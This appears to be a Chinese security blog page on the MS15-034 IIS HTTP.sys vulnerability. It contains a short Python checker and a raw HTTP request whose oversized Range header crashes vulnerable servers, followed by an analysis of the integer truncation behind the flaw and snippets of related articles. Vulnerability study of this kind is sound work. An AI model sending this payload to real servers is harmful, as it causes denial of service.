微软 IIS HTTP.sys漏洞原理学习以及POC

零、MS15-034POC核心部分(参考巡风):

1 socket.setdefaulttimeout(timeout)
2 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3 s.connect((ip, int(port)))
4 flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
5 s.send(flag)
6 data = s.recv(1024)
7 s.close()
8 if ‘Requested Range Not Satisfiable‘ in data and ‘Server: Microsoft‘ in data:
9     print "vuln"

一、MS15-034 HTTP.sys漏洞原理考证:

原理部分参考:http://www.ijiandao.com/safe/cto/12821.html

1 #举例:蓝屏POC
2 """
3 GET /welcome.png HTTP/1.1
4 Host: PoC
5 Range: bytes=12345-18446744073709551615
6 """

这个地方的Range字段在IIS内部HTTP!UlBuildFastRangeCacheMdlChain(用于生成响应报文的缓存MDL链,来描述HTTP响应的状态行、头部与消息体。)这个函数中会调用一次nt! IoBuildPartialMdl函数来生成MDL链。这这个函数里,会计算length这个值:

注意这里明确要求了由VirtualAddress与Length确定的区间必须是SourceMdl描述的缓冲区的一个自区间,正是对此要求的违反导致了此漏洞中的内存破坏。

第3次调用nt! IoBuildPartialMdl来生成消息体MDL时的参数如下:

SourceMdl = 0xfffffa801a38cb60
SourceMdl.VirtualAddress = 0xfffffa801ac94000
SourceMdl.ByteCount = 0x2d315
SourceMdl.ByteOffset = 0x0
TargetMdl = 0xfffffa801a2ed580
TargetMdl.VirtualAddress = 0xfffffa801ac97000
TargetMdl.ByteCount = 0xffffcfc7
TargetMdl.ByteOffset = 0x39
VirtualAddress = 0xfffffa801ac97039
Length = 0xffffcfc7

这里的Length是根据HTTP请求消息头部中的Range字段计算得到的,过程如下:

首先,在HTTP!UlpParseRange中对Range字段进行解析,得到RangeBegin、RangeEnd;
然后,计算RangeLength = RangeEnd – RangeBegin + 1;
最后,将RangeLength截断为32位得到Length。
以PoC中的Range: bytes=12345-18446744073709551615为例:
RangeBegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
RangeLength = 0xffffffffffffffff – 0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
显然由于Length超长而导致违反了nt! IoBuildPartialMdl的要求,进而造成内存破坏。

时间: 2024-08-30 12:25:30

微软 IIS HTTP.sys漏洞原理学习以及POC的相关文章

CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃:攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header

目录遍历漏洞原理及复现

一.IIS目录遍历漏洞原理及复现 1.原理 “目录遍历”其实并不能算是漏洞,因为它是IIS的一个功能项.在IIS中将该选项勾上,用户就可以通过目录的形式访问网站中的文件,通常这项功能被用于共享文件.但由于管理员的疏忽或经验不足,在网站中开启了这项功能, 这就造成了IIS目录遍历漏洞. 2.复现 打开IIS信息服务管理器,对网站进行进行如下设置: 打开浏览器,在浏览器中访问该站点,可查看到服务器上的站点文件目录: 二.Apache目录遍历漏洞 1.原理 当客户端访问到一个目录时,Apache服务器

IIS的Unicode漏洞攻击

IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞.微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令.当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码.如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序.我们此文就着重来讲讲如何利用这个漏洞入侵IIS. 对于IIS 4.0/5.0中文版,当IIS在收到的URL请求的文件名中,包含一个特殊的编码例如“%c

IIS曝高危漏洞 安全狗发布完美修复方案

IIS曝高危漏洞,安全狗紧急响应,第一时间更新防护规则,以防御该漏洞攻击,为服务器和网站用户提供实时保护. 在微软发布的2015年4月安全补丁中,修复了HTTP.sys 中一处允许远程执行代码漏洞(CVE-2015-1635).而这个高危漏洞也掀起了网络世界的攻击风暴.据悉,该漏洞利用代码已在国外技术网站Pastebin上公开,黑客只要发送恶意数据包直打安装IIS的服务器,就可导致系统蓝屏崩溃. 这个安全漏洞对服务器系统产生的影响不小,所有安装了IIS 6.0以上版本的Windows Serve

利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞

IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的错误信息,猜测该路径或文件是否存在,具体可参考这篇文章:http://www.freebuf.com/articles/4908.html. 就单纯的解决这个问题来说,微软的URLScan工具是最适合的一个轻量级工具,关键它是免费的,而且安装.配置非常简单.安装过程就不说了,傻瓜式的. 安装完毕之后

java反序列化漏洞原理研习

零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!! 参考文档:感谢所有参考文献的作者: 1.https://www.cnblogs.com/bencakes/p/6139477.html 2.https://www.cnblogs.com/ssoo

ms05-017漏洞原理与复现

漏洞描述 此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现. 漏洞编号 CVE-2005-0059 OSVDB-15458 MSB-MS05-017 BID-13112 ×××目标 DCOM接口的服务器端 影响系统 Microsoft Windows XP Service Pack 1 Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itani

Android自复制传播APP原理学习(翻译)

 Android自复制传播APP原理学习(翻译) 1 背景介绍 论文链接:http://arxiv.org/abs/1511.00444 项目地址:https://github.com/Tribler/self-compile-Android 吃完晚饭偶然看到这篇论文,当时就被吸引了,马上翻译总结了一下.如有错误欢迎斧正. 该论文的研究出发点比较高大上这里我们就不多说了,简而言之就是想通过移动设备来实现一个自组网,在发生灾难的时候,手机之间能够自动传输关键数据,减少损失.整个目标通过设计一个能够

编译原理学习导论

编译原理学习导论 大学课程为什么要开设编译原理呢?这门课程关注的是编译器方面的产生原理和技术问题,似乎和计算机的基础领域不沾边,但是编译原理却一直作为大学本科的必修课程,同一时候也成为了研究生入学考试的必考内容.编译原理及技术从本质上来讲就是一个算法问题而已,当然因为这个问题十分复杂,其解决算法也相对复杂.我们学的数据结构与算法分析也是讲算法的,只是讲的基础算法,换句话说讲的是算法导论,而编译原理这门课程讲的就是比較专注解决一种的算法了.在20世纪50年代,编译器的编写一直被觉得是十分困难的事情